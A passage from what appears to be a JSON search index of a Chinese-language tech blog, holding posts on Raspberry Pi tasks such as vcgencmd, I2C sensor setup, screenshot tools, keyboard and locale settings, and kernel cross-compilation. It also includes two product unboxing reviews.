5abd572e2ed1811283443387af09377b95501c50 (clean) (release) OTP 記憶體 若要查詢 SoC 裡面 OTP（one time programmable）記憶體的內容，可以使用 otp_dump：\nvcgencmd otp_dump 輸出為\n08:00000000 09:00000000 10:00000000 11:00000000 12:00000000 13:00000000 14:00000000 15:00000000 16:00280000 17:1020000a 18:1020000a 19:ffffffff 20:ffffffff 21:ffffffff 22:ffffffff 23:ffffffff 24:ffffffff 25:ffffffff 26:ffffffff 27:0000c2c2 28:4b45c38d 29:b4ba3c72 30:00000010 31:00000000 32:00000000 33:00000000 34:00000000 35:00000000 36:00000000 37:00000000 38:00000000 39:00000000 40:00000000 41:00000000 42:00000000 43:00000000 44:00000000 45:00000000 46:00000000 47:00000000 48:00000000 49:00000000 50:00000000 51:00000000 52:00000000 53:00000000 54:00000000 55:00000000 56:00000000 57:00000000 58:00000000 59:00000000 60:00000000 61:00000000 62:00000000 63:00000000 64:00000000 其中 28 與 30 代表硬體序號（serial）與修訂版（revision）的版本號碼，/proc/cpuinfo 中所顯示的序號與修訂版本號碼就是從這裡取得的，而 Model B/B+ 的網路卡 MAC 卡號也是根據硬體序號來產生的。\n查看 vcgencmd 所有可用的參數 如果要查看 vcgencmd 指令所有可用的參數，可以執行\nvcgencmd commands 輸出會類似這樣：\ncommands=\"vcos, ap_output_control, ap_output_post_processing, vchi_test_init, vchi_test_exit, pm_set_policy, pm_get_status, pm_show_stats, pm_start_logging, pm_stop_logging, version, commands, set_vll_dir, led_control, set_backlight, set_logging, get_lcd_info, set_bus_arbiter_mode, cache_flush, otp_dump, test_result, codec_enabled, get_camera, get_mem, measure_clock, measure_volts, scaling_kernel, measure_temp, get_config, hdmi_ntsc_freqs, hdmi_adjust_clock, hdmi_status_show, hvs_update_fields, pwm_speedup, force_audio, hdmi_stream_channels, hdmi_channel_map, display_power, read_ring_osc, memtest, get_rsts, render_bar, disk_notify, inuse_notify, sus_suspend, sus_status, sus_is_enabled, sus_stop_test_thread, egl_platform_switch, mem_validate, mem_oom, mem_reloc_stats, file, vctest_memmap, vctest_start, vctest_stop, vctest_set, vctest_get\" 這些就是所有可以使用的參數，這些參數會因為韌體版本不同而有差異。\n如果您對於樹莓派的應用有興趣，建議您可以繼續閱讀物聯網的相關文章。\n參考資料 Embedded Linux Wiki raspberrypi.org maketecheasier lokir\u0026rsquo;s linux notes ","permalink":"https://blog.gtwang.org/iot/raspberry-pi-vcgencmd-hardware-information/","summary":"\u003cp\u003e這裏介紹如何使用 \u003ccode\u003evcgencmd\u003c/code\u003e 指令查看 Raspberry Pi 的 CPU 溫度、運行速度與電壓等資訊，即時監控硬體的狀態。\u003c/p\u003e\n\u003cp\u003e在 Raspberry Pi 中我們可以利用 \u003ccode\u003evcgencmd\u003c/code\u003e 指令來查看各種的硬體資訊與狀態，以下是常用的指令範例。\u003c/p\u003e","title":"使用 vcgencmd 指令查看 Raspberry Pi 的 CPU 溫度、運行速度與電壓等資訊"},{"content":"這裡介紹如何在 Raspberry Pi 中安裝中文輸入法與字型，打造一個中文的使用環境。\nStep 1\n首先執行\nraspi-config 更改系統的語系（locale）。\nStep 2\n選擇「Internationalisation Options」。\nStep 3\n選擇「Change Locale」。\nStep 3\nzh_TW 開頭的就是台灣的中文語系，您可以依照自己的需求選擇編碼，除非有特別需要，不然選「zh_TW.UTF-8」應該就夠了。\n英文的語系也是常會用到的，也可以順便選一下。\n選擇好之後，選擇下方的「Ok」。\nStep 4\n接著要設定系統預設的語系，如果您都是習慣使用 X Window 環境的人，可以直接選擇 zh_TW.UTF-8，但如果您像我一樣有時候會在 console 下工作的話，就建議選擇 en_US.UTF-8，這樣在 console 下面才不會因為沒有中文字型產生亂碼。\nStep 5\n接著安裝酷音中文輸入法：\nsudo apt-get install scim-chewing Step 6\n登出再重新登入之後，應該就可以正常使用中文了。\nStep 6\n另外還有一些中文字型：文泉驛微米黑、文泉驛正黑、文泉驛點陣宋體，如果需要的話也可以一起裝起來：\nsudo apt-get install ttf-wqy-microhei ttf-wqy-zenhei xfonts-wqy 如果您對於樹莓派的應用有興趣，建議您可以繼續閱讀物聯網的相關文章。\n參考資料 葉難 ","permalink":"https://blog.gtwang.org/iot/raspberry-pi-chinese-input-method/","summary":"\u003cp\u003e這裡介紹如何在 Raspberry Pi 中安裝中文輸入法與字型，打造一個中文的使用環境。\u003c/p\u003e\n\u003cp\u003e\u003cspan class=\"block-label\"\u003eStep 1\u003c/span\u003e\u003c/p\u003e\n\u003cp\u003e首先執行\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-sh\" data-lang=\"sh\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eraspi-config\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e更改系統的語系（locale）。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e\u003cspan class=\"block-label\"\u003eStep 2\u003c/span\u003e\u003c/p\u003e\n\u003cp\u003e選擇「Internationalisation Options」。\u003c/p\u003e","title":"樹莓派 Raspberry Pi 安裝中文輸入法與字型"},{"content":"這裡紀錄一下 3COM 3CRUSB10075 USB 無線網路卡在 Linux 中的安裝方法。\n好久以前買了一張 3COM 3CRUSB10075 USB 無線網路卡，最近因為要測試 Raspberry Pi，需要好多網路卡，就把它拿出來用。\n不過因為這張卡的韌體沒有預載在一般的 Linux 系統中，所以通常直接插上去都是抓不到的，用 dmesg 可以看到類似這樣的錯誤訊息：\n[ 139.662020] usb 1-1.3: new high-speed USB device number 6 using dwc_otg [ 139.763184] usb 1-1.3: New USB device found, idVendor=6891, idProduct=a727 [ 139.763221] usb 1-1.3: New USB device strings: Mfr=16, Product=32, SerialNumber=0 [ 139.763236] usb 1-1.3: Product: 3CRUSB10075 [ 139.763252] usb 1-1.3: Manufacturer: 3COM [ 139.848282] cfg80211: Calling CRDA to update world regulatory domain [ 140.012035] usb 1-1.3: reset high-speed USB device number 6 using dwc_otg [ 140.147274] ieee80211 phy0: Selected rate control algorithm \u0026#8216;minstrel_ht\u0026#8217; [ 140.149121] zd1211rw 1-1.3:1.0: phy0 [ 140.151521] usbcore: registered new interface driver zd1211rw [ 140.425648] usb 1-1.3: Could not load firmware file zd1211/zd1211_ub. Error number -2 [ 140.425689] zd1211rw 1-1.3:1.0: couldn\u0026#8217;t load firmware. Error number -2 如果在 Debian 系列的 Linux（如 Ubuntu 等），可以用 apt 來安裝 zd1211 這個韌體：\napt-get install zd1211-firmware 基本上只要裝好 zd1211 這個韌體，這張網路卡應該就可以直接使用了。\n如果要手動安裝的話，可以從 sourceforge 下載韌體，然後解壓縮到 /lib/firmware/zd1211 目錄之下，這樣就可以了。\n","permalink":"https://blog.gtwang.org/linux/linux-3com-3crusb10075-wireless-firmware/","summary":"\u003cp\u003e這裡紀錄一下 3COM 3CRUSB10075 USB 無線網路卡在 Linux 中的安裝方法。\u003c/p\u003e\n\u003cp\u003e好久以前買了一張 3COM 3CRUSB10075 USB 無線網路卡，最近因為要測試 Raspberry Pi，需要好多網路卡，就把它拿出來用。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e","title":"在 Linux 中安裝 3COM 3CRUSB10075 USB 無線網路卡韌體"},{"content":"這是我買的 JANSPORT AGAVE 背包，跟大家分享開箱文。\n我平常上下班，除了筆記型電腦之外，我還會帶一堆 USB 隨身碟與許多小東西，之前買的 STM Scout 2 郵差包實在裝不下多少東西，所以還是決定改買 JANSPORT 的大背包。\n因為是工作天天要用的背包，所以決定挑好一點的，JANSPORT AGAVE 這款是可以放置 15 吋筆電的後背包，在露天拍賣網站大約兩千五買多就可以買到，以下是開箱的照片。\n這個賣家很用心，裝箱時還特別放一片紙板，保護包包。\n裡面還用一個大的塑膠提袋包起來。\n這就是我收到的包包，物品狀況極佳，透明塑膠袋也非常新。\n包包的正面。\n包包的反面。\n包包正面的口袋。\n這口袋裡面的空間滿大的。\n包包側邊有束帶可以調整。\n包包的頂部有一個小口袋，這個可以用來放置隨身聽（或是手機），這樣耳機線直接拉出來就可以一邊背著背包一邊聽音樂，這個口袋內部是用比較柔軟的布料，可以保護手機螢幕。\n這是兩個主要置物空間的拉鍊。\n拉鍊都是 YKK 製的。\n這是第一層置物空間，裡面有很多小口袋。\n整個空間很大，可以放置不少東西。\n這個空間的中間還有設計兩個手機口袋。\n手機口袋內部的布料也是比較柔軟的那種。\n還有一個網狀的拉鍊袋，可以放置一些小東西。\n接下來是最主要的置物空間（其空間也是最大的）。\n這個空間最主要的就是放置筆記型電腦的夾層，這個夾層在各個方向都有做好防撞的保護，所以筆電可以放心的直接放進去。\n背包側邊還有放置水壺的網狀側袋。\n以上是 JANSPORT AGAVE 簡略的開箱介紹，我的這個包包是從露天拍賣上面的 DREAM 包包館買的，因為這個賣家的商品狀況非常好，包裝既細心又周到，服務我非常滿意，所以也推薦給大家。\n","permalink":"https://blog.gtwang.org/unboxing/jansport-agave/","summary":"\u003cp\u003e這是我買的 JANSPORT AGAVE 背包，跟大家分享開箱文。\u003c/p\u003e\n\u003cp\u003e我平常上下班，除了筆記型電腦之外，我還會帶一堆 USB 隨身碟與許多小東西，之前買的 \u003ca href=\"/unboxing/stm-scout-2/\"\u003eSTM Scout 2 郵差包\u003c/a\u003e實在裝不下多少東西，所以還是決定改買 JANSPORT 的大背包。\u003c/p\u003e","title":"[開箱] JANSPORT AGAVE 多夾層電腦後背包"},{"content":"最近從網路上訂了一個 JanSport Envoy 筆電後背包，順便寫一篇簡單的開箱文，放一些照片給需要的人參考。\n這個包包的大小有 26L，可以用來裝 15 寸的筆電。由於最近太忙了，沒時間寫介紹了，想知道詳細規格的人可以自行上網查，以下是我拍的一些照片。\n這個是下方放電源供應器用的小袋子。\n正面的小口袋。\n以下就是包包每一層的照片。\n有專門放平板的設計。\n在放平板電腦的口袋裡面，有一面是專門設幾保護螢幕的布料。\n第一層主要的置物空間。\n第二層主要的置物空間。\n第三層主要的置物空間，也就是放置筆電用的空間。\n放置筆電的空間只有側面有比較厚的防撞保護，底部比較薄，如果放置筆電最好自己要套一層保護套。\n因為拍照很倉促，我忘了拍放置手機的那一個袋子，不過網路上也有一些詳細的介紹。\n","permalink":"https://blog.gtwang.org/unboxing/jansport-envoy/","summary":"\u003cp\u003e最近從網路上訂了一個 JanSport Envoy 筆電後背包，順便寫一篇簡單的開箱文，放一些照片給需要的人參考。\u003c/p\u003e\n\u003cp\u003e這個包包的大小有 26L，可以用來裝 15 寸的筆電。由於最近太忙了，沒時間寫介紹了，想知道詳細規格的人可以自行上網查，以下是我拍的一些照片。\u003c/p\u003e","title":"[開箱] JanSport Envoy 筆電後背包"},{"content":"最近買了一台 Cool Flyer 20 吋 21 速折疊式腳踏車，順片拍一些照片紀錄一下。\n最近從露天拍賣網站買了一台 Cool Flyer 的腳踏車，因為我是要上班通車時要騎的，放在火車站日曬雨淋，所以選這台低價位的折疊式腳踏車，這台車我買到的價格是 2090 元，加上運費 300 元，感覺還不錯。\n紅色那一圈是變速的刻度，可以轉動旁邊浮起的握把來調整檔位。\n這台車的踏板也是可以折疊的。\n這台車子在塑膠的部分（坐墊、握把等）有一種很重的塑膠味，看起來就是大陸製的劣質塑膠，不過兩千元的車子我也預料到會是這樣的狀況，反正我是要把它放在火車站的，在室外的話我感覺塑膠好不好也沒太大差別，能騎就好了。\n另外，這台車也沒有擋泥板，我還在考慮要不要裝，台南很少下雨，裝了好像也很少用到。\n","permalink":"https://blog.gtwang.org/unboxing/cool-flyer-bicycle/","summary":"\u003cp\u003e最近買了一台 Cool Flyer 20 吋 21 速折疊式腳踏車，順片拍一些照片紀錄一下。\u003c/p\u003e\n\u003cp\u003e最近從露天拍賣網站買了一台 Cool Flyer 的腳踏車，因為我是要上班通車時要騎的，放在火車站日曬雨淋，所以選這台低價位的折疊式腳踏車，這台車我買到的價格是 2090 元，加上運費 300 元，感覺還不錯。\u003c/p\u003e","title":"[開箱] Cool Flyer 20 吋 21 速折疊式腳踏車"},{"content":"這裡介紹如何在 Raspberry Pi 上面安裝 MPU-6050 加速度計與陀螺儀六軸感測器，並且透過 I2C 讀取 sensor 上的資料。\nMPU-6050 是一個六軸感測器，包含三軸加速度計與三軸陀螺儀，其價格便宜（上拍賣網站買，80 元就有了），用途也很廣泛，一般的手機、平板電腦幾乎都會有這個感測器。\n它的加速度計與陀螺儀可以藉由程式動態控制測量數值的範圍，加速度計的範圍有 ±2g、±4g、±8g 與 ±16g 可以選擇，而陀螺儀的測量範圍有 ±250 度/秒、±500 度/秒、±1000 度/秒與 ±2000 度/秒。\n以下是 MPU-6050 在 Raspberry Pi B+ 上的使用教學。\nStep 1\n首先準備好 MPU-6050 感測器與相關必要的零件，如果不講究的話，只要有杜邦線可以接得起來就行了，麵包板有沒有其實無所謂，不過有麵包板接起來比較方便就是了。\n這裡當然也要記得準備好自己的 Raspberry Pi，如果光只有 MPU-6050 是不能用的。\nStep 2\n把 MPU-6050 感測器按照下面的接法接上 Raspberry Pi B+：\n對照實際的照片會像這樣。\n如果您買的 MPU-6050 感測器是沒有焊接好排針的，可能會不太好接，因為排針插上去如果沒有焊起來通常容易接觸不良，建議還是直接把排針焊上去，否則很容易出問題。\n正常來說，MPU-6050 接上去之後，有個紅燈會亮，如果燈沒亮大概就是有問題。\n這是 Raspberry Pi B+ 上插上杜邦線的情況。\nStep 3\n編輯 /etc/modules，在這個檔案的最後加上兩行：\ni2c-bcm2708 i2c-dev Step 4\n編輯 /etc/modprobe.d/raspi-blacklist.conf，把 spi-bcm2708 與 i2c-bcm2708 兩個模組註解起來：\n#blacklist spi-bcm2708 #blacklist i2c-bcm2708 設定完之後，重新啟動：\nsudo reboot Step 5\n安裝 i2c-tools 套件：\nsudo apt-get install i2c-tools 然後使用 i2cdetect 偵測一下是否有抓到 I2C 的設備：\nsudo i2cdetect -y 1 輸出為\n0 1 2 3 4 5 6 7 8 9 a b c d e f 00: -- -- -- -- -- -- -- -- -- -- -- -- -- 10: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 20: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 30: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 40: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 50: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 60: -- -- -- -- -- -- -- -- 68 -- -- -- -- -- -- -- 70: -- -- -- -- -- -- -- -- 這裏可以看出來在 0x68 的位置有偵測到一個設備，這個就是我們的 MPU-6050 感測器。\ni2cdetect -y 1 指令的最後一個參數 1 是指定要掃描的 I2C 匯流排名稱，如果是用舊的 Raspberry Pi Rev. 1 就要指定為 0。不確定自己的板子該用哪一個的話，可以使用這個指令查詢：\nsudo i2cdetect -l 輸出會像這樣：\ni2c-1 i2c bcm2708_i2c.1 I2C adapter Step 6\n使用 i2cget 指令嘗試讀取 0x68 這個 I2C 設備的 register 0x75 的值：\nsudo i2cget -y 0 0x68 0x75 正常來說，MPU-6050 的 register 0x75 的值會是 0x68，輸出應該會像這樣：\n0x68 如果看到這樣的值，就代表 MPU-6050 已經可以把資料傳回 Raspberry Pi 了，接下來您可以使用 C++ 來讀取 MPU-6050 的感測資料。\n如果您對於樹莓派的應用有興趣，建議您可以繼續閱讀物聯網的相關文章。\n","permalink":"https://blog.gtwang.org/iot/raspberry-pi-mpu6050-six-axis-gyro-accelerometer-1/","summary":"\u003cp\u003e這裡介紹如何在 Raspberry Pi 上面安裝 MPU-6050 加速度計與陀螺儀六軸感測器，並且透過 I2C 讀取 sensor 上的資料。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://invensense.tdk.com/products/motion-tracking/6-axis/mpu-6050/\"\u003eMPU-6050\u003c/a\u003e 是一個六軸感測器，包含三軸加速度計與三軸陀螺儀，其價格便宜（上拍賣網站買，80 元就有了），用途也很廣泛，一般的手機、平板電腦幾乎都會有這個感測器。\u003c/p\u003e","title":"Raspberry Pi B+ 連接 MPU-6050 加速度計與陀螺儀六軸感測器"},{"content":"這裡介紹許多可以在 Raspberry Pi 中擷取螢幕畫面的工具，除了 X Window 視窗環境之外，終端機介面的畫面也可以直接儲存下來。\nX Window 視窗環境 首先介紹在 X Window 視窗環境下的畫面擷取工具。\nShutter Shutter 是一個在 X Window 下多功能的視窗畫面擷取工具，不過由於它整個程式很大，相依套件也很多，在 Raspberry Pi 這樣的硬體上執行會有點慢，不過對於不熟悉指令的人來說，也算是一個不錯的工具。\nShutter 可以透過 apt 直接安裝：\nsudo apt-get install shutter 安裝完成後，就可以在系統的選單中看到 Shutter 這個軟體了。\nShutter 的介面很容易上手，自己玩一下就知道怎麼使用了。\nShutter 在執行之後，在系統圖示列會出現一個 Shutter 的圖示，可以方便使用者快速擷取畫面，您可以把主視窗關掉，透過這個選單來擷取畫面。\nScrot Scrot 是一個小巧的畫面擷取工具，不會佔用系統太多的資源，又可以快速擷取畫面。\nScrot 也可以利用 apt 安裝：\nsudo apt-get install scrot 安裝好之後，直接執行就會將目前的螢幕畫面照下來：\nscrot 而照下來的圖檔預設會放在家目錄中（也就是 /home/pi/ 中），依照日期與時間來命名。 scrot 指令常用的參數如下：\n-b 或 --border：當擷取單一視窗時，連同視窗框邊一併擷取。 -c 或 --count：擷取畫面之前，顯示倒數數字。 -d 或 --delay NUM：指定延遲擷取的秒數。 -e 或 --exec APP：指定後續處理擷取圖檔的程式。 -q 或 --quality NUM：指定圖片的品質（壓縮程度），可用的值為 1 到 100，預設為 75。 -m 或 --multidisp：啟用多螢幕擷取（擷取多個螢幕的畫面後，再將其合併為一張圖）。 -s 或 --select：使用滑鼠指定要擷取的視窗或是範圍。 -u 或 --focused：擷取目前作用中的視窗。 -t 或 --thumb NUM：自動產生縮圖，NUM 可指定為百分比或是實際縮圖大小（如 50x60）。 終端機（Console）環境 在終端機下我們也可以靠著一些指令工具來擷取目前的畫面。\n使用 /dev/fb0 與 ffmpeg 在 Linux 系統中我們可以直接透過 framebuffer（/dev/fb0）來擷取目前的畫面內容：\ncat /dev/fb0 \u0026gt; fb.raw 不過這裡面的資料擷取下來之後，還要再經過 ffmpeg 轉檔之後才能使用，使用前要先安裝一下 ffmpeg：\nsudo apt-get install ffmpeg 再將剛剛擷取的 fb.raw 轉為 png 檔：\nffmpeg -vcodec rawvideo -f rawvideo -pix_fmt rgb565le -s 1232x992 -i fb.raw -f image2 -vcodec png screen.png 這裡產生的 screen.png 圖檔內容就是剛剛擷取的畫面。下面這張是我裁切過圖，這比起用相機照的照片清楚得多了。\n這裡要注意一點，ffmpeg 在轉檔時需要使用 -s 參數指定螢幕的解析度（以這個例子來說是 1232x992），這個部分請依照您的系統設定自己更改，如果不知道自己的螢幕解析度，可以使用 fbset 來查看：\nfbset -i 它的輸出會像這樣\nmode \"1232x992\" geometry 1232 992 1232 992 16 timings 0 0 0 0 0 0 0 rgba 5/11,6/5,5/0,0/16 endmode Frame buffer device information: Name : BCM2708 FB Address : 0x1c006000 Size : 2444288 Type : PACKED PIXELS Visual : TRUECOLOR XPanStep : 1 YPanStep : 1 YWrapStep : 0 LineLength : 2464 Accelerator : No 從這裡就可以看出螢幕的解析度為何。\nraspi2png raspi2png 是 Andrew Duncan 開發的小工具，可以透過 vc_dispmanx_snapshot 擷取畫面。\n首先安裝 png 函式庫：\nsudo apt-get install libpng12-dev 從 GitHub 下載 raspi2png 的原始碼：\ngit clone https://github.com/AndrewFromMelbourne/raspi2png.git 編譯 raspi2png：\ncd raspi2png make 編譯完成後，會產生 raspi2png 這個可執行檔，直接執行它就可以擷取目前的畫面：\n./raspi2png raspi2png 指令可用的參數有：\n--pngname \u0026lt;name\u0026gt;：指定輸出的 png 檔名，預設為 snapshot.png。 --height \u0026lt;height\u0026gt;：指定圖片高度，預設為螢幕畫面高度。 --width \u0026lt;width\u0026gt;：指定圖片寬度，預設為螢幕畫面寬度。 --delay \u0026lt;delay\u0026gt;：指定延遲秒數，預設為 0 秒。 --stdout：輸出至標準輸出（stdout）。 --help：顯示說明訊息。 fb2png fb2png 跟 raspi2png 類似，不過他是直接從 framebuffer 擷取畫面的。\n首先安裝 png 函式庫：\nsudo apt-get install libpng12-dev 從 GitHub 下載 fb2png 的原始碼：\ngit clone https://github.com/AndrewFromMelbourne/fb2png.git 編譯 fb2png：\ncd fb2png make 編譯完成後，會產生 fb2png 這個可執行檔，直接執行它就可以擷取目前的畫面：\n./fb2png fb2png 指令可用的參數有：\n-p \u0026lt;name\u0026gt;：指定輸出的 png 檔名，預設為 fb.png。 -d \u0026lt;device\u0026gt;：指定擷取的設備。 如果您對於樹莓派的應用有興趣，建議您可以繼續閱讀物聯網的相關文章。\n參考資料 Raspberry Pi Spy ","permalink":"https://blog.gtwang.org/iot/raspberry-pi-screenshot-tools/","summary":"\u003cp\u003e這裡介紹許多可以在 Raspberry Pi 中擷取螢幕畫面的工具，除了 X Window 視窗環境之外，終端機介面的畫面也可以直接儲存下來。\u003c/p\u003e\n\u003ch2 id=\"x-window-視窗環境\"\u003eX Window 視窗環境\u003c/h2\u003e\n\u003cp\u003e首先介紹在 X Window 視窗環境下的畫面擷取工具。\u003c/p\u003e","title":"在 Raspberry Pi 中擷取螢幕畫面（Snapshot）的工具"},{"content":"這裡說明如何更改 Raspberry Pi 的鍵盤設定，讓它可以適用於台灣的鍵盤。\n由於 Raspberry Pi 是由英國所設計的，所以系統預設的鍵盤配置是 English (UK)，而這個設定跟台灣一般所使用的 English (US) 不同，所以在安裝好 Raspberry Pi 之後，一定要修改鍵盤的設定才能使用，以下是設定的步驟。\nStep 1\nRaspberry Pi 系統中有內建一個 raspi-config 系統管理工具，我們可以使用它來變更鍵盤的設定。首先執行\nsudo raspi-config Step 2\n選擇「Internationalisation Options」。\nStep 3\n選擇「Change Keyboard Layout」。\nStep 4\n選擇標準的「Generic 105-key (Intel) PC」鍵盤。\nStep 5\n選擇「English (US)」鍵盤配置。\nStep 6\n選擇「No AltGr key」。\nStep 7\n選擇「No compose key」。\nStep 8\n最後設定是否要啟用 Control + Alt + Backspace 關閉 X server 的快速鍵功能。\n如果啟用這個功能的話，在 X Window 中如果要結束視窗環境返回終端機介面，就可以直接按下這個快速鍵，不用再從選單中選擇。\n如果您對於樹莓派的應用有興趣，建議您可以繼續閱讀物聯網的相關文章。\n參考資料 智慧生活科技專業社群 ","permalink":"https://blog.gtwang.org/iot/raspberry-pi-keyboard-config/","summary":"\u003cp\u003e這裡說明如何更改 Raspberry Pi 的鍵盤設定，讓它可以適用於台灣的鍵盤。\u003c/p\u003e\n\u003cp\u003e由於 Raspberry Pi 是由英國所設計的，所以系統預設的鍵盤配置是 English (UK)，而這個設定跟台灣一般所使用的 English (US) 不同，所以在安裝好 Raspberry Pi 之後，一定要修改鍵盤的設定才能使用，以下是設定的步驟。\u003c/p\u003e","title":"Raspberry Pi 更改鍵盤設定"},{"content":"這裡介紹如何自己編譯 Raspberry Pi 的 Linux 核心，打造自己所需要的系統。\n編譯 Raspberry Pi 的 Linux 核心 要編譯 Raspberry Pi 用的 Linux 核心有兩種方式，一種是在 Raspberry Pi 中直接編譯，另外一種是在一般的個人電腦中交叉編譯（cross compilation），兩種方式各有利弊，以下分別是這兩種編譯方式的步驟教學。\n在個人電腦中交叉編譯 在個人電腦中交叉編譯可以讓編譯的速度加快，一般我是建議使用這樣的方式，會節省很多時間。\nStep 1\n從 GitHub 下載最新的 Raspberry Pi Linux 核心原始碼：\ngit clone --depth=1 https://github.com/raspberrypi/linux Step 2\n要進行編譯之前，先要安裝好一些交叉編譯所需要的編譯器：\napt-get install gcc-arm-linux-gnueabihf 因為每個人的系統會有些差異，如果您在編譯的過程缺少什麼工具的話，可以再利用 apt 來安裝。\nStep 3\n首先進入 linux 目錄\ncd linux 進行編譯之前，要先設定編譯的各種選項，這裏我們使用預設的編譯設定：\nmake -j4 ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- bcmrpi_defconfig 載入預設的設定之後，您可以再使用 menuconfig 來微調：\nmake -j4 ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- menuconfig 在這個選單中，您可以自行依照需求新增或移除各種功能。\nStep 4\n進行編譯核心：\nmake -j4 ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- 編譯模組：\nmake -j4 ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- modules 這裡的 -j4 是讓 make 可以同時執行 4 個 jobs，利用多核心的 CPU 來加速編譯，您可以依照您的 PC 的 CPU 核心數來調整這個值。\nStep 5\n因為我們是在另外一台 PC 中編譯的，所以編譯完之後，要再把編譯好的核心複製到 Raspberry Pi 上面，您也可以直接將 Raspberry Pi 的 MicroSD 卡直接插在 PC 上，這樣就可以將新的核心直接安裝上去，我這裡是用手動複製的方式，兩種做法其實差不多。\n將編譯好的 Linux 核心複製出來：\ncp arch/arm/boot/Image ../kernel-new.img 將模組安裝至一個暫時的目錄中（../modules）：\nmake -j4 ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- INSTALL_MOD_PATH=../modules modules_install 切換至上一層目錄\ncd .. 因為 Linux 的核心模組有點大，我先壓縮一下，方便等一下複製的動作：\ntar jcvf modules.tar.bz2 modules/ 這時候在目前的目錄中，我們應該已經有兩個檔案：\n一個編譯好的核心（kernel-new.img） 一個核心模組的壓縮檔（modules.tar.bz2） 這樣在 PC 上面的編譯工作就算完成了。\nStep 6\n接著把 kernel-new.img 與 modules.tar.bz2 複製到 Raspberry Pi 中，並且將 kernel-new.img 放進 /boot 中：\nsudo cp kernel-new.img /boot/ 將 modules.tar.bz2 解壓縮\ntar jxf modules.tar.bz2 把 modules/lib/modules/ 裡面的東西複製到 /lib/modules/\nsudo -r cp modules/lib/modules/* /lib/modules/ 將 modules/lib/firmware/ 裡面的東西複製到 /lib/firmware/\nsudo -r cp modules/lib/firmware/* /lib/firmware/ Step 7\n編輯 /boot/config.txt，加入一行\nkernel=kernel-new.img 這行是用來指定系統要使用的核心，您可以透過這樣的方式同時在系統上放置多個不同的核心，以便隨時切換。\n這樣新編譯好的核心就安裝好了。\n在 Raspberry Pi 中編譯核心 如果您想要在 Raspberry Pi 中直接編譯新的核心也是可以，不過這樣的方式會非常慢（通常都要好幾個小時以上），除非特殊情況，不然一般都不會用這樣的方式。\nStep 1\n在 Raspberry Pi 上編譯的步驟跟 PC 上差不多，首先下載 Linux 核心原始碼：\ngit clone --depth=1 https://github.com/raspberrypi/linux Step 2\n安裝一些必要的工具：\napt-get install bc libncurses5-dev Step 3\n進入 linux 目錄，開始進行編譯\ncd linux make bcmrpi_defconfig make menuconfig make make modules 這個部分跟 PC 交叉編譯的都相同，因為是在 Raspberry Pi 中直接編譯，所以不需要指定交叉編譯的參數，指令比較簡單，但是因為 Raspberry Pi 的處理速度很慢（比起 PC 來說），因此編譯的過程會需要非常久的時間。\nStep 4\n接著安裝新編譯好的核心與模組：\nsudo make modules_install sudo cp arch/arm/boot/Image /boot/kernel-new.img Step 5\n編輯 /boot/config.txt，加入一行\nkernel=kernel-new.img 這樣就完成了。\n更新韌體（Firmware） 如果您原本的 Linux 核心版本跟新編譯的核心版本相差很多，就要連同韌體一起更新。\nStep 1\n最新的韌體可以從 GitHub 下載：\ngit clone https://github.com/raspberrypi/firmware.git 這部分由於檔案很多，而且也很大，所以下載的過程需要一段時間。\nStep 2\n下載下來後，將 firmware/boot 目錄中的 bootcode.bin、fixup.dat、start.elf 這三個檔案複製到 /boot 中：\ncp firmware/boot/bootcode.bin /boot/ cp firmware/boot/fixup.dat /boot/ cp firmware/boot/start.elf /boot/ 將 firmware/hardfp/opt/ 目錄中所有的東西複製到 /opt/\ncd firmware/hardfp/opt/* /opt/ 這樣就可以了。\n重新開機與測試 安裝好新的核心之後，就可以重新開機測試了。重新開機進入系統之後，可以使用 uname 來查看目前的核心版本：\nuname -a 正常的話應該可以看到剛剛編譯好的核心版本：\nLinux raspberrypi 3.12.34+ #1 PREEMPT Thu Dec 11 08:51:55 CST 2014 armv6l GNU/Linux 如果您對於樹莓派的應用有興趣，建議您可以繼續閱讀物聯網的相關文章。\n參考資料 Raspberry Pi Documentation Embedded Linux Wiki coldnew\u0026rsquo;s blog BrokenDragon\u0026rsquo;s Notes Sysprogs ","permalink":"https://blog.gtwang.org/iot/raspberry-pi-compile-linux-kernel/","summary":"\u003cp\u003e這裡介紹如何自己編譯 Raspberry Pi 的 Linux 核心，打造自己所需要的系統。\u003c/p\u003e\n\u003ch2 id=\"編譯-raspberry-pi-的-linux-核心\"\u003e編譯 Raspberry Pi 的 Linux 核心\u003c/h2\u003e\n\u003cp\u003e要編譯 Raspberry Pi 用的 Linux 核心有兩種方式，一種是在 Raspberry Pi 中直接編譯，另外一種是在一般的個人電腦中交叉編譯（cross compilation），兩種方式各有利弊，以下分別是這兩種編譯方式的步驟教學。\u003c/p\u003e","title":"樹莓派 Raspberry Pi 編譯 Linux 